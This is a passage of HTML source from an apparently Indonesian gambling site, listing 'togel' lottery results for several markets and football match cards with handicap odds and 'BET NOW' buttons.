class="result"> --> 2876 <a href="/hasil/MY" class="result"> 2877 2878 <div class="badge"> 2879 </div> 2880 2881 <div class="pasaran">MALAYSIA </div> 2882 <div class="keluaran">6034</div> 2883 <div class="tanggal"> 9/10/2026</div> 2884 </a> 2885 <!-- <a href="/?content=hasil&pid=MC" class="result"> --> 2886 <a href="/hasil/MC" class="result"> 2887 2888 <div class="badge"> 2889 </div> 2890 2891 <div class="pasaran">MACAU </div> 2892 <div class="keluaran">0331</div> 2893 <div class="tanggal"> 9/10/2026</div> 2894 </a> 2895 <!-- <a href="/?content=hasil&pid=QTR" class="result"> --> 2896 <a href="/hasil/QTR" class="result"> 2897 2898 <div class="badge"> 2899 </div> 2900 2901 <div class="pasaran">QATAR </div> 2902 <div class="keluaran">8696</div> 2903 <div class="tanggal"> 9/10/2026</div> 2904 </a> 2905 <!-- <a href="/?content=hasil&pid=HK" class="result"> --> 2906 <a href="/hasil/HK" class="result"> 2907 2908 <div class="badge"> 2909 </div> 2910 2911 <div class="pasaran">HONGKONG </div> 2912 <div class="keluaran">6469</div> 2913 <div class="tanggal"> 9/10/2026</div> 2914 </a> 2915 2916 </div> 2917 </div> 2918 2919 <div id="togel-mobile" class="togel-mobile mobile-only"> 2920 2921 <div class="togel-title">Togel Result</div> 2922 2923 2924 <div class="carousel slide p-0" data-bs-ride="carousel" style="min-height: 520px"> 2925 <div id="mobile-togel" class="carousel-indicators" style="margin-bottom: 0px"> 2926 2927 2928 </div> 2929 <div class="carousel-inner"> 2930 2931 <div class='carousel-item accordion accordion-flush active'> <div class="result-data accordion-item"> 2932 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-TWH"> 2933 <div class="badge"> 2934 </div> 2935 <div class="pasaran">
2935TOTO WUHAN </div> 2936 <div class="keluaran">6536</div> 2937 <div class="tanggal">10-10-2026</div> 2938 </button> 2939 <div id="paito-TWH" class="accordion-collapse collapse"> 2940 2941 <div class="result"> 2942 <div class="pasaran"></div> 2943 <div class="keluaran">9250</div> 2944 <div class="tanggal">09-10-2026</div> 2945 </div> 2946 2947 <div class="result"> 2948 <div class="pasaran"></div> 2949 <div class="keluaran">4208</div> 2950 <div class="tanggal">09-10-2026</div> 2951 </div> 2952 2953 <div class="result"> 2954 <div class="pasaran"></div> 2955 <div class="keluaran">6154</div> 2956 <div class="tanggal">09-10-2026</div> 2957 </div> 2958 2959 <div class="result"> 2960 <div class="pasaran"></div> 2961 <div class="keluaran">3312</div> 2962 <div class="tanggal">09-10-2026</div> 2963 </div> 2964 2965 <div class="result"> 2966 <div class="pasaran"></div> 2967 <div class="keluaran">4840</div> 2968 <div class="tanggal">09-10-2026</div> 2969 </div> 2970 2971 <div class="result"> 2972 <div class="pasaran"></div> 2973 <div class="keluaran">6631</div> 2974 <div class="tanggal">09-10-2026</div> 2975 </div> 2976 2977 <div class="result"> 2978 <div class="pasaran"></div> 2979 <div class="keluaran">1674</div> 2980 <div class="tanggal">08-10-2026</div> 2981 </div> 2982 </div> 2983 </div> 2984 2985 <div class="result-data accordion-item"> 2986 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-HKD"> 2987 <div class="badge"> 2988 </div> 2989 <div class="pasaran">HK SIANG </div> 2990 <div class="keluaran">3738</div> 2991 <div class="tanggal">09-10-2026</div> 2992 </button> 2993 <div id="paito-HKD" class="accordion-collapse collapse"> 2994 2995 <div class="result"> 2996 <div class="pasaran"></div> 2997 <div class="keluaran">1257</div> 2998 <div class="tanggal">08-10-2026</div> 2999 </div> 3000 3001 <div class="result"> 3002 <div class="pasaran"></div> 3003 <div class="keluaran">6727</div> 3004 <div class="tanggal">07-10-2026</div> 3005 </div> 3006 3007 <div class="result"> 3008 <div class="pasaran"></div> 3009 <div class="keluaran">4776</div> 3010 <div class="tanggal">06-10-2026</div> 3011 </div> 3012 3013 <div class="result"> 3014 <div class="pasaran"></div> 3015 <div class="keluaran">0870</div> 3016 <div class="tanggal">05-10-2026</div> 3017 </div> 3018 3019 <div class="result"> 3020 <div class="pasaran"></div> 3021 <div class="keluaran">3772</div> 3022 <div class="tanggal">04-10-2026</div> 3023 </div> 3024 3025 <div class="result"> 3026 <div class="pasaran"></div> 3027 <div class="keluaran">0546</div> 3028 <div class="tanggal">03-10-2026</div> 3029 </div> 3030 3031 <div class="result"> 3032 <div class="pasaran"></div> 3033 <div class="keluaran">7631</div> 3034 <div class="tanggal">02-10-2026</div> 3035 </div> 3036 </div> 3037 </div> 3038 3039 <div class="result-data accordion-item"> 3040 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-SGM"> 3041 <div class="badge"> 3042 </div> 3043 <div class="pasaran">SG METRO </div> 3044 <div class="keluaran">2724</div> 3045 <div class="tanggal">09-10-2026</div> 3046 </button> 3047 <div id="paito-SGM" class="accordion-collapse collapse"> 3048 3049 <div class="result"> 3050 <div class="pasaran"></div> 3051 <div class="keluaran">6214</div> 3052 <div class="tanggal">08-10-2026</div> 3053 </div> 3054 3055 <div class="result"> 3056 <div class="pasaran"></div> 3057 <div class="keluaran">5977</div> 3058 <div class="tanggal">07-10-2026</div> 3059 </div> 3060 3061 <div class="result"> 3062 <div class="pasaran"></div> 3063 <div class="keluaran">8741</div> 3064 <div class="tanggal">06-10-2026</div> 3065 </div> 3066 3067 <div class="result"> 3068 <div class="pasaran"></div> 3069 <div class="keluaran">3446</div> 3070 <div class="tanggal">05-10-2026</div> 3071 </div> 3072 3073 <div class="result"> 3074 <div class="pasaran"></div> 3075 <div class="keluaran">8676</div> 3076 <div class="tanggal">04-10-2026</div> 3077 </div> 3078 3079 <div class="result"> 3080 <div class="pasaran"></div> 3081 <div class="keluaran">9340</div> 3082 <div class="tanggal">03-10-2026</div> 3083 </div> 3084 3085 <div class="result"> 3086 <div class="pasaran"></div> 3087 <div class="keluaran">2649</div> 3088 <div class="tanggal">02-10-2026</div> 3089 </div> 3090 </div> 3091 </div> 3092 3093 <div class="result-data accordion-item"> 3094 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-SYD"> 3095 <div class="badge"> 3096 </div> 3097 <div class="pasaran">SYDNEY </div> 3098 <div class="keluaran">6783</div> 3099 <div class="tanggal">09-10-2026</div> 3100 </button> 3101 <div id="paito-SYD" class="accordion-collapse collapse"> 3102 3103 <div class="result"> 3104 <div class="pasaran"></div> 3105 <div class="keluaran">2626</div> 3106 <div class="tanggal">08-10-2026</div> 3107 </div> 3108 3109 <div class="result"> 3110 <div class="pasaran"></div> 3111 <div class="keluaran">3939</div> 3112 <div class="tanggal">07-10-2026</div> 3113 </div> 3114 3115 <div class="result"> 3116 <div class="pasaran"></div> 3117 <div class="keluaran">8045</div> 3118 <div class="tanggal">06-10-2026</div> 3119 </div> 3120 3121 <div class="result"> 3122 <div class="pasaran"></div> 3123 <div class="keluaran">7070</div> 3124 <div class="tanggal">05-10-2026</div> 3125 </div> 3126 3127 <div class="result"> 3128 <div class="pasaran"></div> 3129 <div class="keluaran">2158</div> 3130 <div class="tanggal">04-10-2026</div> 3131 </div> 3132 3133 <div class="result"> 3134 <div class="pasaran"></div> 3135 <div class="keluaran">5482</div> 3136 <div class="tanggal">03-10-2026</div> 3137 </div> 3138 3139 <div class="result"> 3140 <div class="pasaran"></div> 3141 <div class="keluaran">0880</div> 3142 <div class="tanggal">02-10-2026</div> 3143 </div> 3144 </div> 3145 </div> 3146 3147 <div class="result-data accordion-item"> 3148 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-MYD"> 3149 <div class="badge"> 3150 </div> 3151 <div class="pasaran">MALAYSIA SIANG </div> 3152 <div class="keluaran">3162</div> 3153 <div class="tanggal">09-10-2026</div> 3154 </button> 3155 <div id="paito-MYD" class="accordion-collapse collapse"> 3156 3157 <div class="result"> 3158 <div class="pasaran"></div> 3159
3159 <div class="keluaran">4272</div> 3160 <div class="tanggal">08-10-2026</div> 3161 </div> 3162 3163 <div class="result"> 3164 <div class="pasaran"></div> 3165 <div class="keluaran">9074</div> 3166 <div class="tanggal">07-10-2026</div> 3167 </div> 3168 3169 <div class="result"> 3170 <div class="pasaran"></div> 3171 <div class="keluaran">1210</div> 3172 <div class="tanggal">06-10-2026</div> 3173 </div> 3174 3175 <div class="result"> 3176 <div class="pasaran"></div> 3177 <div class="keluaran">2452</div> 3178 <div class="tanggal">05-10-2026</div> 3179 </div> 3180 3181 <div class="result"> 3182 <div class="pasaran"></div> 3183 <div class="keluaran">6932</div> 3184 <div class="tanggal">04-10-2026</div> 3185 </div> 3186 3187 <div class="result"> 3188 <div class="pasaran"></div> 3189 <div class="keluaran">5590</div> 3190 <div class="tanggal">03-10-2026</div> 3191 </div> 3192 3193 <div class="result"> 3194 <div class="pasaran"></div> 3195 <div class="keluaran">7799</div> 3196 <div class="tanggal">02-10-2026</div> 3197 </div> 3198 </div> 3199 </div> 3200 3201 <div class="result-data accordion-item"> 3202 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-SG"> 3203 <div class="badge"> 3204 </div> 3205 <div class="pasaran">SINGAPORE </div> 3206 <div class="keluaran">2855</div> 3207 <div class="tanggal">08-10-2026</div> 3208 </button> 3209 <div id="paito-SG" class="accordion-collapse collapse"> 3210 3211 <div class="result"> 3212 <div class="pasaran"></div> 3213 <div class="keluaran">9838</div> 3214 <div class="tanggal">07-10-2026</div> 3215 </div> 3216 3217 <div class="result"> 3218 <div class="pasaran"></div> 3219 <div class="keluaran">3897</div> 3220 <div class="tanggal">05-10-2026</div> 3221 </div> 3222 3223 <div class="result"> 3224 <div class="pasaran"></div> 3225 <div class="keluaran">2812</div> 3226 <div class="tanggal">04-10-2026</div> 3227 </div> 3228 3229 <div class="result"> 3230 <div class="pasaran"></div> 3231 <div class="keluaran">3670</div> 3232 <div class="tanggal">03-10-2026</div> 3233 </div> 3234 3235 <div class="result"> 3236 <div class="pasaran"></div> 3237 <div class="keluaran">9006</div> 3238 <div class="tanggal">01-10-2026</div> 3239 </div> 3240 3241 <div class="result"> 3242 <div class="pasaran"></div> 3243 <div class="keluaran">3096</div> 3244 <div class="tanggal">30-09-2026</div> 3245 </div> 3246 3247 <div class="result"> 3248 <div class="pasaran"></div> 3249 <div class="keluaran">7185</div> 3250 <div class="tanggal">28-09-2026</div> 3251 </div> 3252 </div> 3253 </div> 3254 3255 <div class="result-data accordion-item"> 3256 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-MY"> 3257 <div class="badge"> 3258 </div> 3259 <div class="pasaran">MALAYSIA </div> 3260 <div class="keluaran">6034</div> 3261 <div class="tanggal">09-10-2026</div> 3262 </button> 3263 <div id="paito-MY" class="accordion-collapse collapse"> 3264 3265 <div class="result"> 3266 <div class="pasaran"></div> 3267 <div class="keluaran">2991</div> 3268 <div class="tanggal">08-10-2026</div> 3269 </div> 3270 3271 <div class="result"> 3272 <div class="pasaran"></div> 3273 <div class="keluaran">3932</div> 3274 <div class="tanggal">07-10-2026</div> 3275 </div> 3276 3277 <div class="result"> 3278 <div class="pasaran"></div> 3279 <div class="keluaran">4883</div> 3280 <div class="tanggal">06-10-2026</div> 3281 </div> 3282 3283 <div class="result"> 3284 <div class="pasaran"></div> 3285 <div class="keluaran">4639</div> 3286 <div class="tanggal">05-10-2026</div> 3287 </div> 3288 3289 <div class="result"> 3290 <div class="pasaran"></div> 3291 <div class="keluaran">4920</div> 3292 <div class="tanggal">04-10-2026</div> 3293 </div> 3294 3295 <div class="result"> 3296 <div class="pasaran"></div> 3297 <div class="keluaran">8849</div> 3298 <div class="tanggal">03-10-2026</div> 3299 </div> 3300 3301 <div class="result"> 3302 <div class="pasaran"></div> 3303 <div class="keluaran">
33037141</div> 3304 <div class="tanggal">02-10-2026</div> 3305 </div> 3306 </div> 3307 </div> 3308 3309 <div class="result-data accordion-item"> 3310 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-MC"> 3311 <div class="badge"> 3312 </div> 3313 <div class="pasaran">MACAU </div> 3314 <div class="keluaran">0331</div> 3315 <div class="tanggal">09-10-2026</div> 3316 </button> 3317 <div id="paito-MC" class="accordion-collapse collapse"> 3318 3319 <div class="result"> 3320 <div class="pasaran"></div> 3321 <div class="keluaran">8646</div> 3322 <div class="tanggal">08-10-2026</div> 3323 </div> 3324 3325 <div class="result"> 3326 <div class="pasaran"></div> 3327 <div class="keluaran">7182</div> 3328 <div class="tanggal">07-10-2026</div> 3329 </div> 3330 3331 <div class="result"> 3332 <div class="pasaran"></div> 3333 <div class="keluaran">1061</div> 3334 <div class="tanggal">06-10-2026</div> 3335 </div> 3336 3337 <div class="result"> 3338 <div class="pasaran"></div> 3339 <div class="keluaran">7204</div> 3340 <div class="tanggal">05-10-2026</div> 3341 </div> 3342 3343 <div class="result"> 3344 <div class="pasaran"></div> 3345 <div class="keluaran">1662</div> 3346 <div class="tanggal">04-10-2026</div> 3347 </div> 3348 3349 <div class="result"> 3350 <div class="pasaran"></div> 3351 <div class="keluaran">2898</div> 3352 <div class="tanggal">03-10-2026</div> 3353 </div> 3354 3355 <div class="result"> 3356 <div class="pasaran"></div> 3357 <div class="keluaran">8307</div> 3358 <div class="tanggal">02-10-2026</div> 3359 </div> 3360 </div> 3361 </div> 3362 3363 <div class="result-data accordion-item"> 3364 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-QTR"> 3365 <div class="badge"> 3366 </div> 3367 <div class="pasaran">QATAR </div> 3368 <div class="keluaran">8696</div> 3369 <div class="tanggal">09-10-2026</div> 3370 </button> 3371 <div id="paito-QTR" class="accordion-collapse collapse"> 3372 3373 <div class="result"> 3374 <div class="pasaran"></div> 3375 <div class="keluaran">8317</div> 3376 <div class="tanggal">08-10-2026</div> 3377 </div> 3378 3379 <div class="result"> 3380 <div class="pasaran"></div> 3381 <div class="keluaran">9915</div> 3382 <div class="tanggal">07-10-2026</div> 3383 </div> 3384 3385 <div class="result"> 3386 <div class="pasaran"></div> 3387 <div class="keluaran">5740</div> 3388 <div class="tanggal">06-10-2026</div> 3389 </div> 3390 3391 <div class="result"> 3392 <div class="pasaran"></div> 3393 <div class="keluaran">8643</div> 3394 <div class="tanggal">05-10-2026</div> 3395 </div> 3396 3397 <div class="result"> 3398 <div class="pasaran"></div> 3399 <div class="keluaran">0646</div> 3400 <div class="tanggal">04-10-2026</div> 3401 </div> 3402 3403 <div class="result"> 3404 <div class="pasaran"></div> 3405 <div class="keluaran">7691</div> 3406 <div class="tanggal">03-10-2026</div> 3407 </div> 3408 3409 <div class="result"> 3410 <div class="pasaran"></div> 3411 <div class="keluaran">3505</div> 3412 <div class="tanggal">02-10-2026</div> 3413 </div> 3414 </div> 3415 </div> 3416 3417 <div class="result-data accordion-item"> 3418 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-HK"> 3419 <div class="badge"> 3420 </div> 3421 <div class="pasaran">HONGKONG </div> 3422 <div class="keluaran">6469</div> 3423 <div class="tanggal">09-10-2026</div> 3424 </button> 3425 <div id="paito-HK" class="accordion-collapse collapse"> 3426 3427 <div class="result"> 3428 <div class="pasaran"></div> 3429 <div class="keluaran">8270</div> 3430 <div class="tanggal">08-10-2026</div> 3431 </div> 3432 3433 <div class="result"> 3434 <div class="pasaran"></div> 3435 <div class="keluaran">6196</div> 3436 <div class="tanggal">07-10-2026</div> 3437 </div> 3438 3439 <div class="result"> 3440 <div class="pasaran"></div> 3441 <div class="keluaran">3268</div> 3442 <div class="tanggal">06-10-2026</div> 3443 </div> 3444 3445 <div class="result"> 3446 <div class="pasaran"></div> 3447 <div class="keluaran">9181</div> 3448 <div class="tanggal">05-10-2026</div> 3449 </div> 3450 3451 <div class="result"> 3452 <div class="pasaran"></div> 3453 <div class="keluaran">7176</div> 3454 <div class="tanggal">04-10-2026</div> 3455 </div> 3456 3457 <div class="result"> 3458 <div class="pasaran"></div> 3459 <div class="keluaran">6962</div> 3460 <div class="tanggal">03-10-2026</div> 3461 </div> 3462 3463 <div class="result"> 3464 <div class="pasaran"></div> 3465 <div class="keluaran">3686</div> 3466 <div class="tanggal">02-10-2026</div> 3467 </div> 3468 </div> 3469 </div> 3470 3471 </div> 3472 3473 </div> 3474 </div> 3475 </div> 3476 3477
3477<script> 3478 3479 function togglePaito(paitoid) { 3480 let paito = document.getElementById(paitoid); 3481 paito.classList.add("open"); 3482 } 3483 3484 3485 </script>
3485 3486 3487 <div class="transaksi p-0 py-lg-4"> 3488 <div class="d-none d-lg-block"> 3489 <!-- BANNER SBO DESKTOP --> 3490 <div class="match-slider-wrap"> 3491 <div id="sboMatchCarouselDesktop" class="carousel slide" data-bs-ride="carousel" data-bs-interval="4500"> 3492 3493 <div class="carousel-indicators"> 3494 <button 3495 type="button" 3496 data-bs-target="#sboMatchCarouselDesktop" 3497 data-bs-slide-to="0" 3498 class="active" 3499 aria-current="true" aria-label="Slide 1"> 3500 </button> 3501 <button 3502 type="button" 3503 data-bs-target="#sboMatchCarouselDesktop" 3504 data-bs-slide-to="1" 3505 class="" 3506 aria-label="Slide 2"> 3507 </button> 3508 <button 3509 type="button" 3510 data-bs-target="#sboMatchCarouselDesktop" 3511 data-bs-slide-to="2" 3512 class="" 3513 aria-label="Slide 3"> 3514 </button> 3515 <button 3516 type="button" 3517 data-bs-target="#sboMatchCarouselDesktop" 3518 data-bs-slide-to="3" 3519 class="" 3520 aria-label="Slide 4"> 3521 </button> 3522 </div> 3523 3524 <div class="carousel-inner"> 3525 <div class="carousel-item active"> 3526 <div class="row g-3"> 3527 <div class="col-12 col-md-6 col-lg-4"> 3528 <div class="match-card h-100"> 3529 <div class="league-name"> 3530 ENGLISH PREMIER LEAGUE </div> 3531 3532 <div class="kickoff-time"> 3533 October 10, 2026 â 18:30 WIB </div> 3534 3535 <div class="match-main-row"> 3536 <div class="team-col"> 3537 <img 3538 src="https://cdn.sportnanoapi.com/football/team/d6f5debc456da1119256ab66462ab510.png" 3539 alt="Arsenal" 3540 class="team-logo" 3541 > 3542 <div class="team-name"> 3543 Arsenal </div> 3544 </div> 3545 3546 <div class="score-col"> 3547 <div class="score-value"> 3548 0 : 0 </div> 3549 3550 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100346')"> 3551 BET NOW 3552 </a> 3553 </div> 3554 3555 <div class="team-col"> 3556 <img 3557 src="https://cdn.sportnanoapi.com/football/team/cd46d2ed1d364308dc206c97b48
3557ce556.png" 3558 alt="Leeds United" 3559 class="team-logo" 3560 > 3561 <div class="team-name"> 3562 Leeds United </div> 3563 </div> 3564 </div> 3565 3566 <div class="match-odds-row"> 3567 <div class="odds-col"> 3568 <span> 3569 0.75 <small>0.50</small> 3570 </span> 3571 </div> 3572 3573 <div class="odds-spacer"></div> 3574 3575 <div class="odds-col"> 3576 <span> 3577 -0.75 <small>-0.60</small> 3578 </span> 3579 </div> 3580 </div> 3581 </div> 3582 </div> 3583 <div class="col-12 col-md-6 col-lg-4"> 3584 <div class="match-card h-100"> 3585 <div class="league-name"> 3586 ENGLISH PREMIER LEAGUE </div> 3587 3588 <div class="kickoff-time"> 3589 October 10, 2026 â 21:00 WIB </div> 3590 3591 <div class="match-main-row"> 3592 <div class="team-col"> 3593 <img 3594 src="https://cdn.sportnanoapi.com/football/team/a0cf8f551e9440acb3f4ff533dcc58a4.png" 3595 alt="Chelsea" 3596 class="team-logo" 3597 > 3598 <div class="team-name"> 3599 Chelsea </div> 3600 </div> 3601 3602 <div class="score-col"> 3603 <div class="score-value"> 3604 0 : 0 </div> 3605 3606 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100428')"> 3607 BET NOW 3608 </a> 3609 </div> 3610 3611 <div class="team-col"> 3612 <img 3613 src="https://cdn.sportnanoapi.com/football/team/240b30d333c97d293752ab7afd77ccd6.png" 3614 alt="Bournemouth AFC" 3615 class="team-logo" 3616 > 3617 <div class="team-name"> 3618 Bournemouth AFC </div> 3619 </div> 3620 </div> 3621 3622 <div class="match-odds-row"> 3623 <div class="odds-col"> 3624 <sp
3624an> 3625 0.5 <small>0.66</small> 3626 </span> 3627 </div> 3628 3629 <div class="odds-spacer"></div> 3630 3631 <div class="odds-col"> 3632 <span> 3633 -0.5 <small>-0.76</small> 3634 </span> 3635 </div> 3636 </div> 3637 </div> 3638 </div> 3639 <div class="col-12 col-md-6 col-lg-4"> 3640 <div class="match-card h-100"> 3641 <div class="league-name"> 3642 SPAIN LA LIGA </div> 3643 3644 <div class="kickoff-time"> 3645 October 10, 2026 â 23:30 WIB </div> 3646 3647 <div class="match-main-row"> 3648 <div class="team-col"> 3649 <img 3650 src="https://cdn.sportnanoapi.com/football/team/f378eb1ea04e53999b89051aa3244de6.png" 3651 alt="Barcelona" 3652 class="team-logo" 3653 > 3654 <div class="team-name"> 3655 Barcelona </div> 3656 </div> 3657 3658 <div class="score-col"> 3659 <div class="score-value"> 3660 0 : 0 </div> 3661 3662 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '147215606')"> 3663 BET NOW 3664 </a> 3665 </div> 3666 3667 <div class="team-col"> 3668 <img 3669 src="https://cdn.sportnanoapi.com/football/team/36bf5bf0c8fdf08c1270124808f060e1.png" 3670 alt="Getafe" 3671 class="team-logo" 3672 > 3673 <div class="team-name"> 3674 Getafe </div> 3675 </div> 3676 </div> 3677 3678 <div class="match-odds-row"> 3679 <div class="odds-col"> 3680 <sp
3680an> 3681 2.5 <small>0.80</small> 3682 </span> 3683 </div> 3684 3685 <div class="odds-spacer"></div> 3686 3687 <div class="odds-col"> 3688 <span> 3689 -2.5 <small>-0.90</small> 3690 </span> 3691 </div> 3692 </div> 3693 </div> 3694 </div> 3695 </div> 3696 </div> 3697 <div class="carousel-item "> 3698 <div class="row g-3"> 3699 <div class="col-12 col-md-6 col-lg-4"> 3700 <div class="match-card h-100"> 3701 <div class="league-name"> 3702 ENGLISH PREMIER LEAGUE </div> 3703 3704 <div class="kickoff-time"> 3705 October 10, 2026 â 21:00 WIB </div> 3706 3707 <div class="match-main-row"> 3708 <div class="team-col"> 3709 <img 3710 src="https://cdn.sportnanoapi.com/football/team/a3c32d6a906083118cac2cb796edaab3.png" 3711 alt="Aston Villa" 3712 class="team-logo" 3713 > 3714 <div class="team-name"> 3715 Aston Villa </div> 3716 </div> 3717 3718 <div class="score-col"> 3719 <div class="score-value"> 3720 0 : 0 </div> 3721 3722 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100395')"> 3723 BET NOW 3724 </a> 3725 </div> 3726 3727 <div class="team-col"> 3728 <img 3729 src="https://cdn.sportnanoapi.com/football/team/60f1c7788be3148a370dbf59f914abfe.png" 3730 alt="Brentford" 3731 class="team-logo" 3732 > 3733 <div class="team-name"> 3734 Brentford </div> 3735 </div> 3736 </div> 3737 3738 <div class="match-odds-row"> 3739 <div class="odds-col"> 3740 <sp
3740an> 3741 0.00 <small>-0.97</small> 3742 </span> 3743 </div> 3744 3745 <div class="odds-spacer"></div> 3746 3747 <div class="odds-col"> 3748 <span> 3749 0.00 <small>0.87</small> 3750 </span> 3751 </div> 3752 </div> 3753 </div> 3754 </div> 3755 <div class="col-12 col-md-6 col-lg-4"> 3756 <div class="match-card h-100"> 3757 <div class="league-name"> 3758 ENGLISH PREMIER LEAGUE </div> 3759 3760 <div class="kickoff-time"> 3761 October 10, 2026 â 21:00 WIB </div> 3762 3763 <div class="match-main-row"> 3764 <div class="team-col"> 3765 <img 3766 src="https://cdn.sportnanoapi.com/football/team/957bdc50c307e2a9b526b34b3792da1a.png" 3767 alt="Sunderland" 3768 class="team-logo" 3769 > 3770 <div class="team-name"> 3771 Sunderland </div> 3772 </div> 3773 3774 <div class="score-col"> 3775 <div class="score-value"> 3776 0 : 0 </div> 3777 3778 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100525')"> 3779 BET NOW 3780 </a> 3781 </div> 3782 3783 <div class="team-col"> 3784 <img 3785 src="https://cdn.sportnanoapi.com/football/team/9b43a690d5a09f1e319f036821e8e1d3.png" 3786 alt="Brighton & Hove Albion" 3787 class="team-logo" 3788 > 3789 <div class="team-name"> 3790 Brighton & Hove Albion </div> 3791 </div> 3792 </div> 3793 3794 <div class="match-odds-row"> 3795 <div class="odds-col"> 3796 <sp
3796an> 3797 0.00 <small>-0.82</small> 3798 </span> 3799 </div> 3800 3801 <div class="odds-spacer"></div> 3802 3803 <div class="odds-col"> 3804 <span> 3805 0.00 <small>0.72</small> 3806 </span> 3807 </div> 3808 </div> 3809 </div> 3810 </div> 3811 <div class="col-12 col-md-6 col-lg-4"> 3812 <div class="match-card h-100"> 3813 <div class="league-name"> 3814 ENGLISH PREMIER LEAGUE </div> 3815 3816 <div class="kickoff-time"> 3817 October 10, 2026 â 23:30 WIB </div> 3818 3819 <div class="match-main-row"> 3820 <div class="team-col"> 3821 <img 3822 src="https://cdn.sportnanoapi.com/football/team/d39ce586fd7278342dde33b3090b3f75.png" 3823 alt="Manchester United" 3824 class="team-logo" 3825 > 3826 <div class="team-name"> 3827 Manchester United </div> 3828 </div> 3829 3830 <div class="score-col"> 3831 <div class="score-value"> 3832 0 : 0 </div> 3833 3834 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100582')"> 3835 BET NOW 3836 </a> 3837 </div> 3838 3839 <div class="team-col"> 3840 <img 3841 src="https://cdn.sportnanoapi.com/football/team/8b22ab4041e666b996a2d96f20dea707.png" 3842 alt="Tottenham Hotspur" 3843 class="team-logo" 3844 > 3845 <div class="team-name"> 3846 Tottenham Hotspur </div> 3847 </div> 3848 </div> 3849 3850 <div class="match-odds-row"> 3851 <div class="odds-col"> 3852 <sp
3852an> 3853 0.5 <small>0.72</small> 3854 </span> 3855 </div> 3856 3857 <div class="odds-spacer"></div> 3858 3859 <div class="odds-col"> 3860 <span> 3861 -0.5 <small>-0.82</small> 3862 </span> 3863 </div> 3864 </div> 3865 </div> 3866 </div> 3867 </div> 3868 </div> 3869 <div class="carousel-item "> 3870 <div class="row g-3"> 3871 <div class="col-12 col-md-6 col-lg-4"> 3872 <div class="match-card h-100"> 3873 <div class="league-name"> 3874 SPAIN LA LIGA </div> 3875 3876 <div class="kickoff-time"> 3877 October 11, 2026 â 02:00 WIB </div> 3878 3879 <div class="match-main-row"> 3880 <div class="team-col"> 3881 <img 3882 src="https://cdn.sportnanoapi.com/football/team/7dacaa934fe4be00f23c1e209b5ef947.png" 3883 alt="Real Madrid" 3884 class="team-logo" 3885 > 3886 <div class="team-name"> 3887 Real Madrid </div> 3888 </div> 3889 3890 <div class="score-col"> 3891 <div class="score-value"> 3892 0 : 0 </div> 3893 3894 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '147215615')"> 3895 BET NOW 3896 </a> 3897 </div> 3898 3899 <div class="team-col"> 3900 <img 3901 src="https://cdn.sportnanoapi.com/football/team/aee62af96a956756cc29fe4831286357.png" 3902 alt="Villarreal" 3903 class="team-logo" 3904 > 3905 <div class="team-name"> 3906 Villarreal </div> 3907 </div> 3908 </div> 3909 3910 <div class="match-odds-row"> 3911 <div class="odds-col"> 3912 <sp
3912an> 3913 1 <small>0.55</small> 3914 </span> 3915 </div> 3916 3917 <div class="odds-spacer"></div> 3918 3919 <div class="odds-col"> 3920 <span> 3921 -1 <small>-0.65</small> 3922 </span> 3923 </div> 3924 </div> 3925 </div> 3926 </div> 3927 <div class="col-12 col-md-6 col-lg-4"> 3928 <div class="match-card h-100"> 3929 <div class="league-name"> 3930 ITALY SERIE A </div> 3931 3932 <div class="kickoff-time"> 3933 October 10, 2026 â 22:59 WIB </div> 3934 3935 <div class="match-main-row"> 3936 <div class="team-col"> 3937 <img 3938 src="https://cdn.sportnanoapi.com/football/team/aa2245702c40f77799a5ad4b119581a8.png" 3939 alt="Inter Milan" 3940 class="team-logo" 3941 > 3942 <div class="team-name"> 3943 Inter Milan </div> 3944 </div> 3945 3946 <div class="score-col"> 3947 <div class="score-value"> 3948 0 : 0 </div> 3949 3950 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145618118')"> 3951 BET NOW 3952 </a> 3953 </div> 3954 3955 <div class="team-col"> 3956 <img 3957 src="https://cdn.sportnanoapi.com/football/team/9fadd87d190982c8082dddf1567e0b9b.png" 3958 alt="Parma Calcio" 3959 class="team-logo" 3960 > 3961 <div class="team-name"> 3962 Parma Calcio </div> 3963 </div> 3964 </div> 3965 3966 <div class="match-odds-row"> 3967 <div class="odds-col"> 3968 <sp
3968an> 3969 2 <small>0.65</small> 3970 </span> 3971 </div> 3972 3973 <div class="odds-spacer"></div> 3974 3975 <div class="odds-col"> 3976 <span> 3977 -2 <small>-0.75</small> 3978 </span> 3979 </div> 3980 </div> 3981 </div> 3982 </div> 3983 <div class="col-12 col-md-6 col-lg-4"> 3984 <div class="match-card h-100"> 3985 <div class="league-name"> 3986 SPAIN LA LIGA </div> 3987 3988 <div class="kickoff-time"> 3989 October 10, 2026 â 19:00 WIB </div> 3990 3991 <div class="match-main-row"> 3992 <div class="team-col"> 3993 <img 3994 src="https://cdn.sportnanoapi.com/football/team/5005d8feab109ce64e40beb98073cc1f.png" 3995 alt="Rayo Vallecano" 3996 class="team-logo" 3997 > 3998 <div class="team-name"> 3999 Rayo Vallecano </div> 4000 </div> 4001 4002 <div class="score-col"> 4003 <div class="score-value"> 4004 0 : 0 </div> 4005 4006 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '147215614')"> 4007 BET NOW 4008 </a> 4009 </div> 4010 4011 <div class="team-col"> 4012 <img 4013 